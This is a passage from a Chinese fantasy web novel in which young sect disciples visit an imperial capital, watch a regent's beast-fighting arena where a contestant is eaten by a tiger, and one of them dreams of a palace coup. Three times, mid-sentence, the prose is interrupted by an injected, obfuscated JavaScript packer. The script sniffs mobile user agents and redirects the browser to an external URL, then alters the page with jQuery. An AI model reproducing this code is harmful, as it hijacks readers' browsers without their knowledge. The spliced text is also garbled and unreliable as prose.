“……师姐！”洛纤凝感觉自己笑得气都快喘不上来了，“我跟你说，西门大妈她……她刚才摸了沐辰风的手，还想让沐辰风留下来陪她，吓得沐辰风翻墙就跑了！你是没看见沐辰风那个样子，简直笑死我了！哈哈哈！哈哈哈……” 洛纤凝以为这么好笑的事，林惜英不可能不会笑，然而她等了许久，都不见林惜英有所表示。 她止住笑声问她:“师姐，你怎么不笑？” 林惜英不动声色地盯着她:“很好笑么？” 洛纤凝一怔:“啊？不好笑么？” 林惜英正色道:“如果沐辰风是个姑娘，西门夫人是个男子，你还会觉得好笑么？” 洛纤凝:“……” 思忖片刻后，她摇了摇头，道:“不会。” 如果沐辰风是个姑娘，她这会儿早就已经一个巴掌抡死西门老头子了。 “所以我并不觉得好笑。”林惜英目视窗外，神色如常，一派正人君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175559|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子之风。 洛纤凝想了想，道:“师姐，你可真是个正人君子，但我不是！我就是要笑！哈哈哈！哈哈哈……” 林惜英:“……” 不多时，被洛纤凝吵醒的从笑揉着眼睛找了过来，睡眼惺忪地问道:“发生什么事了？阿凝姐姐，你怎么笑得这么开心？” 洛纤凝二话不说，冲过去就搂住了从笑的肩膀:“笑笑，我跟你讲，你阿辰哥哥他……他被人非礼了！他……哈哈哈……笑笑，你等等阿凝姐姐，等阿凝姐姐笑完了再跟你讲！哈哈哈！哈哈哈……” 从笑一脸茫然道:“非礼是什么意思？” 然而洛纤凝似乎没有听到，依旧自顾自笑个不停，恨不得将房顶都笑翻。 从笑觉得，自己好像从未见过像洛纤凝这样爱笑且能笑的人。 黄昏时分，柳惜朝将几个人召集在一起，郑重其事道:“我觉得我们这一趟历练得也差不多了，再去最后一个地方，就回长绝山吧，太久了师父他会担心我们的。” “啊？！”洛纤凝大惊失色道，“不是说好三个月么？怎么这么快就要回去了？大师兄，我还没玩够呢！” 柳惜朝瞪她一眼道:“师父说最多三个月，你还真想玩三个月？” 洛纤凝不甘心地哼了一声，道:“那我们接下来去哪儿呀？该不会明天就要离开这里吧？” 沐灵泽提议道:“既然是最后一个地方，那当然要去整个大昭最繁华的地方，圣京城了！你说对不对，大师兄？” “圣京城？”洛纤凝眼睛亮闪闪道，“就是传说中的皇城？” 沐灵泽点头道:“不错，就是王公贵族最多的皇城，这世间最繁华的地方！据说比我们西祁的皇城还要繁华呢！” 柳惜朝道:“我也正有此意，好不容易出来一趟，自然要带你们去最繁华的地方看一看了，恰好圣京离禾县不远，不如我们明日便出发吧。对了沐师弟，不知沐掌门的病好些了么？她可要去圣京？” 沐灵泽道:“大师兄放心，我阿姐的病早就好了，此事我待会儿就去告诉她，相信她不会反对的。” 几个人又商议了一会儿，决定先去圣京，然后将从笑送回旸山，就打道回府。 次日，一行人辞别西门翠花与姬小宝，出发前往圣京。 路上，洛纤凝喃喃自语道:“圣京，王公贵族……那那个摄政王岂不是也住在那里？” 沐灵泽凑了过来，好奇地看着她:“摄政王？什么摄政王？” 洛纤凝便趁大家休息时，将西门翠花讲给她的那个故事原原本本地复述了一遍。 沐灵泽听罢后，不可思议道:“十八岁就当上了摄政王，古往今来也就这一位吧。” 沐辰风则叹道:“想不到这个摄政王还挺痴情的，都十六年过去了，还一个人独守空房呢，要是换做我，早就妻妾成群了哈哈！” 众人:“……” 沐辰风:“我说错什么了么？谁不想妻妾成群啊，阿泽，你不想么？” 沐灵泽瞄了眼正在吃果子的洛纤凝，忙不迭道:“我不想，你不要看我，我将来只会喜欢一个人，也只会娶一个人，正所谓一生一世一双人，你说对吧阿姐？” 沐嫣然笑笑不说话。 圣京离禾县并不算遥远，两地之间，万柳如云，望如群带，一行人穿梭在婆娑的树影之间，说说笑笑，打打闹闹，很快，那座巍峨的圣京城便矗立在了他们的面前。 51. 人间39 圣京城。 煌煌帝都，钟灵毓秀。一行人进了城，只见街道纵横，人烟稠密，两旁楼阁参差，朱檐碧瓦，映日生辉，鼓楼高耸，飞檐下悬着铜铃，风一吹，就发出清脆悦耳的声音。周围叫卖声、讨价还价声杂沓一片，糕点果子等各色美食堆成了小山。 转角处蹲着个蓬头垢面的乞丐，面前破碗里躺着两三文钱，行人经过，或掩鼻疾走，或掷下几个铜板，那乞丐便“咚”地磕个响头。 一行人一边往前走，一边四处张望，感叹圣京果然繁华，忽然，一阵马蹄声传来，一名身着锦衣华服的少女自街边打马而过，口中嚷嚷着:“让开！都给本郡主让开！撞死人概不负责！” 洛纤凝盯着少女远去的背影啐道:“呸，什么人嘛，简直比我还嚣张！” 沐灵泽跟在她身后，闻言失笑道:“洛纤凝，原来你还知道你嚣张啊。” 洛纤凝回身看他，微微一笑，道:“沐灵泽，看在你阿姐的份上，这次我就不掐死你了。” 沐灵泽冷哼一声，道:“欺软怕硬！” 洛纤凝:“……” 罢了，她忍了！ 一行人找了家客栈，放下包袱后，迫不及待地冲进了大街小巷，想要好好游览一下这繁华的圣京城。 洛纤凝拉着林惜英和从笑在各种小摊前瞄来瞄去，一会儿尝尝这个糕点，一会儿逗逗那只鹦鹉，柳惜朝跟在几个人身后疯狂付钱。 沐灵泽也拉着沐嫣然四处张望，一会儿问她吃不吃这个，一会儿问她吃不吃那个，一会儿又指着卖簪子的小摊道:“阿姐，这个簪子好看，你戴上一定更好看！” “是么？”沐嫣然接过沐灵泽递过来的簪子，缓缓插进自己的发间。 沐灵泽拍手称赞道:“好看！少华师姐，你觉得呢？” 祝少华点头道:“确实好看，我也要一支。” 一行人边走边吃，待吃饱喝足后，又看见前方不远处闹哄哄的，一群人围着一个摊子，也不知道在干什么。 洛纤凝拉着林惜英和从笑挤了进去，映入眼帘的，竟是一群衣衫褴褛、瘦骨嶙峋的少年。这些少年个个脸色蜡黄，嘴唇干裂，看起来像是好几天都没喝水没吃饭了。他们的手和脚皆被草绳绑着，惊惶不安地看着正在围观他们的人，像极了刑场上即将被处死的犯人。 外围站着几个彪形大汉，其中一个大声吆喝道:“各位老爷夫人少爷小姐们都过来看看！别看他们现在瘦，喂饱了有的是力气！买回去端茶倒水劈柴搬东西，顶半头牛使！价钱咱们都好商量！” 他一边说着，一边走到那些少年的跟前，时而拎起他们的胳膊，时而掰开他们的嘴，向众人展示道:“看看！都看看！没有一个断胳膊断腿断牙齿的！一点问题都没有！” 他肆无忌惮地掰开一个又一个少年的嘴，仿佛那些少年不是人，而是牲畜。 洛纤凝越看越觉得生气，盯着那名大汉道:“这是在……卖人？” 从笑抓住洛纤凝的衣袖，眼神里满是同情:“阿凝姐姐，他们好可怜，连一件像样的衣裳都没有，看着比我还小。也不知道他们的父母看见他们被卖去伺候人，会是什么心情？” 洛纤凝也觉得这些少年甚是可怜，她扭头去看柳惜朝:“大师兄，你看他们好可怜，要不我们帮帮他们吧？” 柳惜朝原本想斥她一顿，可话到嘴边，终究不忍，于是放柔语气，道:“又开始胡言乱语，这天底下像他们这样的人数不胜数，难道你要每一个都帮一遍么？即便你今日帮了他们，他日呢？难道你要帮他们一辈子么？” “大师兄说得是。”沐灵泽挤了过来，对洛纤凝道，“这些小孩大多都是家中无米下锅，不得已只能被父母卖去当奴隶的，又或是从小无父无母，吃不起饭，只能以此为生。这种事每天都会发生的，我们管不过来的，还是不要管的好。” 洛纤凝失落地低下了头。 柳惜朝道:“走吧，别看了，这不是我们该管的事。” 几个人又挤了出来，拐进了另一条街。 行了一段路后，一直沉默不语的林惜英突然开口道:“若非当年我被师父所救，恐怕如今的我，也是他们当中的一份子，可是像我这样幸运的人，这世间又有几个呢？” 柳惜朝走在她的身侧，闻言，神色凝重道:“不错，这世间命苦之人不计其数，像我们这样，虽然无父无母，但有师父养育教导的，却是少之又少，所以我们更应该学会珍惜和感恩。” 洛纤凝重重点头，深以为然道:“大师兄说得对！我决定了，等回去之后，我要对洛老头好一点，每天少气他一点点……” 话未说完，就被人揪住了耳朵:“说谁老头呢？洛纤凝，皮又痒了是么？” “哎呀大师兄！”洛纤凝伸出双手挣扎道，“我又没说什么！再说了，师父他本来就是老头，等大师兄你以后老了，我就叫你柳老头！”说罢挣开柳惜朝的手，躲去了林惜英和从笑的身后，有恃无恐道:“柳老头柳老头！你能把我怎么样啊？柳老头！” 柳惜朝:“……洛纤凝！有本事你别躲啊！你站在我跟前说！” 沐灵泽等人跟在洛纤凝的身后，见此情景，忍不住哈哈大笑了起来，然而没笑多久，就看见一群人着急忙慌地从他们身边掠过，险些撞到他们身上。 沐灵泽觉得奇怪，拉住一个中年男子问道:“大哥，那边是发生什么事了么？你们怎么都往那边跑？” 男子兴奋道:“还能发生什么？摄政王来生死场了，我们大伙儿当然是去生死场挣钱了！” “生死场？”洛纤凝凑了过来，“那是什么地方？” 男子打量了他们一眼，道:“一看你们就是外地人！生死场，说白了就是斗兽场，就是人和猛兽斗，要是斗赢了，就有钱拿。当然，没有赢也有钱拿，前提是，一炷香之内，你能活着走出来！” “什么？！”洛纤凝一脸骇然道，“人和猛兽斗？那万一人被猛兽吃了怎么办？！” 男子耸了耸肩，轻飘飘道:“吃了就吃了呗，还能怎么办？摄政王说了，与猛兽周旋一炷香者，可得黄金百两，徒手打死猛兽者，可得黄金五百两！若是死了，概不负责，可若是赢了，从此一家人衣食无忧！我们大伙儿可不得去碰碰运气嘛！” 望着男子远去的背影，洛纤凝感觉自己的头皮一阵又一阵的发麻。 人和猛兽斗？吃了就吃了？这个摄政王怎么是这种人啊？亏她之前还挺同情他的。 沐辰风张大嘴巴惊叹道:“一百两？还是黄金？天呐，寻常百姓一辈子都挣不到这么多钱。难怪这么多人往那地方赶，这要是真的赢了，从此一家人衣食无忧。只是这跟赌博有什么区别？” 沐灵泽道:“赌博赌的是钱，而那地方，赌的是命。” 柳惜朝附和道:“确实，那地方可比赌场可怕多了。” 洛纤凝眼睛一眯，看着柳惜朝:“大师兄你怎么知道？莫非你也去过赌场？” 柳惜朝震惊:“别胡说，我怎么可能会去那种地方？没吃过猪肉，还没见过猪跑么？等会儿，什么叫也？莫非你去过赌场？” 坏了，暴露了。洛纤凝赶忙摇手道:“没，我怎么可能会去那种地方？大师兄，要不我们也跟过去看看吧，看看他们是怎么和那些猛兽斗的？” “那种地方有什么好看的？”柳惜朝瞪她一眼道，“你喜欢看猛兽吃人你就去，我可不……哎哎哎，你们干什么去？” 眼看洛纤凝拉着林惜英和从笑越走越远，柳惜朝忙不迭跟了上去，走到一半想起什么，又回头去看沐嫣然:“沐掌门可要一起？” 沐嫣然摇头:“你们去吧，我就不去了。” 沐灵泽道:“阿姐，那你和少华师姐还有少白师兄先逛，我和沐辰风跟过去看看！” 不等沐嫣然回答，沐灵泽已拉着沐辰风奔出了十余步。 “洛纤凝！你们等等我！” 沐嫣然:“……” 几个人到了生死场外，入目便是一派威严:整个建筑呈圆形，如一轮明月，占地颇大，碧瓦朱甍，雕花大门，俨然一个庞然大物，行人进进出出，好不热闹。 这生死场一共分为三楼:一楼是人与猛兽相斗的地方，二楼是宾客驻足看戏的地方，三楼不必说，自然是达官显贵才能踏足的地方。 而三楼正对大门的那一面，则被一道白色的帘子围了起来，帘内依稀能瞥见人影，但瞥不见人脸。 几个人来到二楼，洛纤凝望着三楼的那一抹白，好奇道:“那个帘子里面坐着什么人啊？莫非是……” 站在她旁边的一名年轻男子听见她这话，热心地为她解惑道:“还能是谁？当然是这生死场的主人，我们大昭的摄政王呗。” 洛纤凝瞅着男子道:“你是说，摄政王就坐在那里面？那他长什么样啊？你见过么？” 男子笑道:“我等普通人，哪有资格窥见摄政王的容颜，只是听说，这摄政王长得煞是好看，就跟女人一样！” “跟女人一样？”洛纤凝凝眉思索了起来，“那这么说，他长得跟我一样喽？” 男子:“……” 洛纤凝:“大哥，你这是什么表情？” 半晌，男子才回过神来，断断续续道:“我的意思是，摄政王他……长得像……好看的女子，并非姑娘这般……” “我懂了大哥！”洛纤凝及时打断男子的话，“您还是别说了，我懂，我都懂！” 刚扭回头就看见沐灵泽和沐辰风低着头，笑得肩膀乱颤，洛纤凝抬起手，一个巴掌拍在了两人的后脑勺上，喝道:“笑什么笑？有什么好笑的？！” 沐灵泽又好气又好笑:“我们又没笑你，你干嘛又偷袭我们？” “没笑我你们在笑谁？！” “好了阿凝，”林惜英朝旁跨了一步，将洛纤凝与两兄弟隔开，“快开始了，你们就别闹了。” 林惜英话音刚落，楼下就走出一人，身着官服，腰配短剑，环视了一圈场内众人后，大声道:“安静！” 场内霎时安静了下来。 官服男子转身朝后走去，最终驻足在了一座被黑布蒙着的四四方方的铁笼前，伸手将黑布揭下。 一头身形巨大的白虎瞬间出现在了众人的面前，张开它的血盆大口，向所有人展示着它那一口好牙。 头一次见到这么大的老虎，不对，是头一次见到老虎，洛纤凝惊讶道:“哇，师姐，笑笑，你们看，这就是传说中的老虎，好大一只，还是白色的。” 从笑抱着洛纤凝的胳膊，笑吟吟道:“这位虎兄长得还挺漂亮的，就是不知道脾气怎么样。” 洛纤凝:“……” 那当然不怎么样了，都吃过那么多人了。 铁笼被打开，虎大哥迈着它那慵懒又嚣张的步伐，在距离场中央只剩十步之时，乖乖地停了下来。 官服男子仰头看向众人，重申规则道:“还是和以前一样，不得使用武器，不得使用法术，违者重罚！谁先来？！” 场内静了一瞬后，一名男子的声音陡然响起:“我来！” 众人踮起脚尖朝楼下望去，见是一名三十余岁的青年男子，缓缓迈入场内，朝那白虎走去。 走到中间，才得以看清此男子的容颜。只见此男子身高八尺有余，头大如斗，脸大如盘，身材魁梧，满脸胡茬，给人一种力大无穷的感觉。 然而即便壮如牛，到了那猛兽跟前，照样吓得双腿发软，直往后退。 香已燃起，众人凝神静气，安安静静地俯视着楼下的那一人一虎，迫不及待地想知道最终的结果，但又害怕看到最终的结果。 楼下的场地内，白虎看着面前不断往后退的男子，像是看到了什么人间至味，大嘴一张，后腿一蹬，顷刻间就朝那男子扑了过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16194618|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子惊叫一声，撒开腿就开始跑，身后的白虎穷追不舍。 众人的心都被提到了嗓子眼，有人喊道:“跑！快跑！围着柱子跑！！” 男子十分听话地围着柱子跑了起来，与白虎玩起了绕圈游戏，每一次即将命丧虎口之时，都能闪身躲过，化险为夷，使得众人的心高高吊起，又轻轻放下。 白虎追了好几圈，愣是连食物的衣角都没舔到，不免烦躁地仰天大吼了一声。 这一吼，别提场内之人了，就连外面的行人都听到了。 众人纷纷捂住耳朵，但依旧不舍得眨眼。就在他们以为白虎即将发动大规模进攻之时，却不料它竟然趴在地上不动了！ 场内一片哗然。 有人喊道:“这老虎怎么不动了？还有半柱香的时间呢！” “是啊，还有半柱香的时间呢，它该不会一直趴在那儿不动了吧？” “不是吧，那这人的命也太好了吧！一百两黄金轻轻松松就到手了！” “打啊兄弟！打死这畜生！五百两黄金就到手了！你躲什么？！” 楼下的男子躲在柱子后面，面色苍白，嘴唇止不住地颤抖:“不、不必了，这畜生根本打不死，一百两已经够多了，做人不可太贪。” 一炷香已燃尽，白虎依旧懒洋洋地趴在地上舔着自己的爪子，未再上前一步。 男子撑着膝盖从地上站了起来，擦了擦额头上的汗，满脸的不可置信。 官服男子迈下楼，高声道:“时间到！赏！黄金百两！” 话音落，立刻就有人端着一盘金条出来，递给那男子。 男子激动得直搓手，接过金条，跪倒在地，朝着慕容辞所在方向连连磕头道:“多谢摄政王殿下！多谢摄政王殿下！摄政王殿下千岁千岁千千岁！！” 说完这话，男子抱着金条就往外跑，边跑边道:“我发财了！我发财了！！啊哈哈哈……” 这钱如此好挣，难免有人跃跃欲试，想要成为第二个赢得黄金百两的人。 于是当官服男子问下一个谁来的时候，洛纤凝身边的年轻男子想都未想便喊道:“我来！” 洛纤凝正盯着三楼那道白色的帘子发呆，骤听此话，吓得一个激灵，险些从面前的护栏翻了下去，幸好林惜英扶了她一把。 见男子拔腿就要往楼下走，洛纤凝赶忙拉住他劝道:“这位大哥，你确定要下去么？万一……” “没有万一！”男子毫不留情地甩开洛纤凝的手，“富贵险中求，小姑娘，你太小了，你不懂！” 洛纤凝:“……” 好吧，她确实不懂。 这位大哥虽然挺壮实的，但与方才那位大哥相比，还是差了一点。 众人屏住呼吸朝楼下望去，见那白虎仍旧懒洋洋地舔着自己的爪子，不由心里痒痒的，觉得自己也可以下去与之一斗。 比赛已经开始了，面前的白虎却迟迟没有动静，男子松了口气，挪动脚步朝一旁的柱子靠了过去。然而就在他即将碰到柱子之时，白虎猝然睁大了眼睛，咆哮着朝他扑来。 男子顿时面如土色，加快脚步朝柱子后面躲去，怎料那白虎来得太快太猛，不过眨眼间的工夫，他的半条腿就已被白虎咬进了嘴里。 “啊！！！”男子发出了凄厉的惨叫声，但他顾不得疼痛，攥紧拳头就朝白虎砸了过去。 眼看男子的腿即将被咬断，洛纤凝抬起手，欲施法救人，一旁的林惜英眼疾手快地抓住她的手臂，阻止她道:“阿凝！即便我们今日救了他，明日他还是会来送死，一切都是他自己选的，没人逼他，莫要多管闲事。” “可是……” “我觉得林师姐说得对。”沐灵泽赞同道，“而且你们有没有觉得，那个帘子阴森森的？依我看，这个摄政王八成是个不好惹的角色，我们还是不要多管闲事的好，万一被他盯上，只怕后患无穷。” 沐辰风支着下巴道:“阴森森的？有么？我怎么感觉挺正常的？哪儿阴森森了？” 沐灵泽摇头:“不知道，反正就是……一种感觉。” 洛纤凝又朝柳惜朝望了一眼，柳惜朝冲她摇了摇头，示意她莫要多管闲事。 她这才罢手。 这一晃神，楼下那男子已经被白虎吞掉了半个身子。在场之人纷纷闭上了眼睛，不忍去看，就连林惜英也是如此，恨不得把耳朵也捂上。 沐辰风用手遮住从笑的眼睛，道:“笑笑别看，也别听，不然晚上会做噩梦的。” 从笑很是听话地捂住了自己的耳朵。 帘内，一名身着黑袍的年轻男子正悠闲地倚在一把金丝楠木太师椅上，左手执茶，右手执扇，嘴角噙着一丝若有似无的笑，冷眼看着场内的一切。在他身后，立着两名较他年轻一些的男子，一个模样俊朗，一个模样寻常。 模样俊朗的，是一只活了一千五百余年的乌鸦妖，名唤墨羽；模样寻常的，是一只活了一千三百余年的蝙蝠妖，名唤玄翼。 见那凡人被白虎活生生咬死，直至吞入腹中，玄翼讥笑道:“一群不知死活的凡人，以为钱那么好挣么？给点甜头就上来送死！” 黑袍男子闻言放下手中的茶盏，起身道:“无趣，无趣至极。十六年了，是时候该找个新的乐趣了。” 他说罢转身就要离开，突然，余光像是瞥见了什么，他猛地回过头来，死死地盯着场内的某处角落，额角轻轻跳动，久久不肯眨眼。 “怎么了殿下？”见慕容辞很是不对劲，玄翼上前问道。 他在慕容辞身边待了十余年，还从未见他露出过这种神情。 那神情，就像看见了一个许久未见的故人，一个让他又爱又恨的故人。 慕容辞没有答话，依旧一动不动地盯着那处角落，手中的扇子被他捏得咯咯作响。足足半晌，他才极其缓慢地张口道:“她没死，她竟然没死！太好了！我就知道……” 52. 人间40 酒楼内人来人往，说书先生端坐于楼下，一拍醒目，大声讲道:“今日，给诸位讲一讲我们大昭开国以来的第一位女侯爷，花若雪！ “两百多年前，我们大昭有一位女侯爷，相信大家都知道，她的名字就叫，花若雪！这花若雪啊，曾是我们大昭不败战神——沈望，沈老侯爷的得意弟子，后来更是成为了老侯爷的义女……” “我说你能不能不要讲她了？！”一个年轻男子的声音陡然响起，听起来很是不屑，“一个靠男人上位的女人有什么好讲的？！讲来讲去，无非是讲她如何在战场上擒了贺兰狄，又如何救了小侯爷的命罢了！依我看，老侯爷收她为弟子，传授她武艺，对她恩同父母，她救小侯爷的命难道不是应该的么？！至于贺兰狄，我要是能上战场，我也能擒了他！” “吹得厉害。”祝少华斜了那男子一眼，低声对沐嫣然道，“我看他连我都打不过，更别提勇冠三军的长宁侯了，就他那个头，还没师姐你高，真不怕笑掉自己的大牙。” 沐嫣然饮着杯中的酒，神情淡然，未置一词。 说书先生抚须笑道:“这位公子莫要着急，你听过的故事，别人未必听过，圣京繁华，每日都有数不尽的外邦之人来此，总要教他们知道，我们大昭无论男子还是女子，皆可手持长枪，保家卫国！” 男子哂笑一声，不再言语。 说书先生道:“传说这花若雪不仅武艺高强，个头也高，高到什么程度呢？据说与寻常男子无异！ “有一次，花若雪于城外狩猎，碰巧遇到了被人追杀的惠帝陛下，也就是当时的景王殿下！花若雪当即便施以援手，将身受重伤的景王救下，并带回府中医治。不久之后，花府被一群山匪洗劫而空，满门上下只剩下了长宁侯与景王殿下二人，景王殿下为报花若雪救命之恩，将其带往圣京，并为其择定北侯为师。 “景王殿下即位后不久，朝野动荡，北燕来犯，边城连连失守，花若雪随老侯爷一同前往战场，短短数月，便将那些落入敌寇的城池一一收回！ “可惜好景不长，在那之后不久，老侯爷就因病薨逝了。老侯爷一去，北燕大将贺兰狄又开始蠢蠢欲动，带着他的手下在北境烧杀抢掠，无恶不作！ “这贺兰狄生来勇武，力大无穷，老侯爷生前共有三名弟子，其中两名皆死于他的刀下！老侯爷可以说是被这个贺兰狄活生生给气死的！ “为了保护边境百姓，也为了给两位师兄报仇，花若雪与小侯爷领兵前往北境，一番较量之下，你们猜怎么着？这个贺兰狄竟然被花若雪用计给生擒了！ “从那以后整整十年，北燕再未侵犯过我大昭疆土一寸！且此战过后，花若雪便受封为了长宁侯，一时风头无两！” “只可惜风光了还没几年，就撒手人寰了！”说书先生话音刚落，便有一名男客大声说道，语气中透着一丝阴阳怪气。 周围议论之声乍起，祝少华凝眉思索道:“我听他们说，这长宁侯是因为一句预言被惠帝给毒死的，但又有人说她在战场上挨过贺兰狄一刀，是死于旧疾复发，到底哪个才是真的？” 沐嫣然吃着菜，脸色阴沉，一语不发。 江少白道:“谁知道呢？总之她是怎么死的，干咱们什么事？师姐，我看这天色也不早了，咱们还是赶紧回客栈洗洗睡吧，这圣京城太大了，逛得我都开始打瞌睡了，也不知道阿泽他们回客栈了没……” 从生死场出来，天都快黑了，一行人回到客栈用完饭后，往各自的房间走去，期间，洛纤凝愤愤然道:“这个摄政王，视人命如草芥！简直不是个东西！” 她现在只要一闭上眼，就能想起那位大哥被老虎活生生咬死并吞掉的场景。 不，不用闭眼她都能想起来，害得她方才饭也没吃好，满脑子都是那一摊鲜血，和那位大哥的惨叫声。 她从未听过那样嘶声裂肺、惨绝人寰的叫声，叫得她整颗心在胸腔中跳动不已，仿佛随时要跳出来。 太残忍了，太可怕了，为了钱，连命都不要了，自己几斤几两不知道么？ 沐灵泽跟在她身后，闻言劝道:“好了别想了，赶紧好好地睡一觉，睡醒了就忘得差不多了。” 洛纤凝:“……但愿如此吧。” 当天夜里，林惜英做了一个梦，梦里一团黑雾飘过，紧接着，兵戈之声不绝于耳。 她睁开眼睛，看见自己正身处于一座巨大的围墙之内，不远处矗立着一座又一座密密麻麻而又金碧辉煌的殿宇。 “这是什么地方？”林惜英伸出手，想要触碰面前高不可测的围墙，然而比她的手指先抵达的，是一道鲜血。 她被这突如其来的一抹血色给吓到了，明明她以前从来不怕血的。 她转过身去，看见她的身后不知何时竟多出了一群侍卫模样的人，一个接一个倒在了地上。而杀死他们的，是一名身披白甲、气宇轩昂的年轻男子，大约二十五六岁的年纪。 这名男子并非只有一人，在他身后，涌出了至少上千人，举着手中的大刀朝那些金碧辉煌的殿宇奔去。 “杀！！！” 震天的喊杀声袭来，林惜英拔出腰间的剑想要自卫，怎料绝尘剑从一名士兵的脖颈间划过，竟如划过空气一般，根本触及不到。 士兵们挨个从她面前掠过，仿佛她根本不存在一样。 她这才意识到，她在做梦，这一切都是梦。 但即便是梦，她仍旧想一探究竟。 她抬脚朝那群士兵追了过去，最终停驻在了一座广场的边缘处。 广场上方，重重台阶，台阶之上，重重殿宇，殿宇之内，一群丫鬟小厮模样的人仓皇奔出，如无头苍蝇一般各自逃窜，可最终仍旧难逃被杀死的命运。 高墙之内，血流成河，伏尸数千。 乱军之中，忽然有一队侍卫杀了出来，两名十七八岁的华服少女在这些侍卫的保护之下，似乎要逃去外面。不对，不只这两名少女，她们的手里还牵着一名七八岁的小女孩。 林惜英心下一凛。 这个小女孩怎么这么眼熟？怎么这么像小时候的她？ 再去看那两个少女，其中一个与那小女孩至少有五分像，想来应是姐妹无疑了，另一个一袭明黄衣袍，满头乌发一丝不落全都盘起，显然已嫁为人妇，且身份非常。 跑到一半时，黄袍女子突然停下了脚步，将手中拎着的东西往少女怀中一扔，道:“不行，阿瑶，你们快走，我要回去救陛下！我不能扔下他一个人！” 陛下？林惜英心道，莫非这里是皇宫？ 思忖间，黄袍女子已不顾少女和侍卫们的阻拦，提剑朝广场中央奔去。 林惜英跟在黄袍女子身后，见她手起剑落，出手有力，便知她应当是将门之女。方才那少女唤这女子皇嫂，那这女子不仅是将门之女，更是皇后了。 这女子终于杀到了她的丈夫跟前。 她的丈夫与她一样，皆是一袭黄袍，看起来不过弱冠之年，模样俊秀，满脸血渍，见到她，不免一怔:“阿鸢？！你怎么又回来了？你快走，孤拦住他们，你快和阿瑶她们一起走啊！” “不行！”女子厉声拒绝，眼神无畏而又坚决，“要生一起生，要死一起死！臣妾绝不会丢下陛下一个人！” 被唤作陛下的男子抓住黄袍女子的手，脸上露出了一丝欣慰而又悲切的笑:“阿鸢，孤此生能得你为妻，是孤三生有幸。” 黄袍女子亦笑道:“臣妾能得陛下为夫，亦是臣妾之幸。” “南宫珏！”就在这时，那个身披白甲、气宇轩昂的男子一箭射杀了黄袍男子身侧的一名侍卫，扬声叫嚣道:“别挣扎了！识相的话赶紧写下退位诏书，将皇位禅让于我，我就饶你一命！” “你妄想！”被唤作南宫珏的男子不假思索便脱口骂道，“楚清鸿！你这个乱臣贼子！我大燕江山绝不会交给你这等狼心狗肺之人！” 南宫珏？楚清鸿？大燕？ 林惜英不由陷入了沉思。 莫非是十年前被灭的北燕？她曾在书中所见，十年前，北燕大将楚清鸿弑君篡位，灭燕建黎，整个南宫皇室被他屠杀殆尽，唯有两位公主，一位被他掳进了自己的后宫，一位至今下落不明，不知生死。 这两位公主分别叫什么名字，书中并无记载，只知道她们的封号:一位封号永昌，一位封号康乐，一位庶出，一位嫡出。 当时她很为这两位公主感到惋惜，但万万没有想到，有朝一日她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204120|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们竟会出现在自己的梦里。这究竟是巧合？还是…… 不等她再回忆下去，南宫珏已被楚清鸿一箭射中了胸口，倒在了一片血泊之中。 “陛下！陛下！！！”名唤阿鸢的女子抱着南宫珏的尸身，嘶声裂肺地痛哭了起来。可任她如何呼唤，南宫珏始终未曾睁开眼睛看她一眼。 他已经死了，再也不会醒过来了。 而那女子应当是南宫珏的皇后——苏鸢了。 此时此刻，苏鸢已是满身伤痕，精疲力尽，一身黄袍即将沦为红袍。她提剑起身，看着围在她身侧的士兵，脸上露出了一丝苦笑，颇有一种大势已去的意味。 她似乎没有力气再去杀敌了，她举起手中的长剑，架在自己的脖颈前，瞪着楚清鸿所在的方向骂道:“乱臣贼子！终有一日，不得好死！” 说罢便欲自刎。 “不！不要！！”林惜英大喊着，冲过去想要阻止苏鸢，怎奈何她根本触碰不到她，等再回首时，长剑已然划破了苏鸢白皙的脖颈，鲜血汩汩而出，染红了她的视线…… 林惜英跪在地上看着那对满身是血的少年帝后，心口一阵又一阵的发痛。 她不敢相信，方才他们还在并肩作战，誓要诛杀叛贼，而此刻竟双双殒命，魂归天外。 可这一切与她有什么关系？为什么他们死了，她的心会这么痛？为什么方才那个小女孩与她长得那么相像？她究竟为什么会做这样的梦？ “启禀将军！永昌公主带到！” 一名士兵的声音突然从前方传来，林惜英猛地抬起头。 果然，这是梦境，也是现实，永昌公主还是被抓回来了，还是难逃楚清鸿的魔爪。 永昌公主被士兵押着，看着满地的鲜血和尸体，泪如泉涌。 楚清鸿走到她跟前，抬起手，覆上她那如花朵一般娇艳的脸庞，替她将眼泪一一擦去。 “……别碰我！”永昌公主挣扎着躲开楚清鸿的手，无比恶心地瞪着他。 如果眼神能杀人，恐怕她早已将楚清鸿千刀万剐数千次！ 楚清鸿轻笑一声，收回手，看向永昌公主身侧的人:“还有一个呢？” 